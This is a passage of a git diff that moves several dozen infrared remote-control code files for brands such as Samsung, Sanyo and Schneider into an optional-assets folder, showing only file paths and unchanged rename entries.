assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/2,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samsung/VCR/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/TV/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Satelco/Sat/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir similarity index 100% rename from 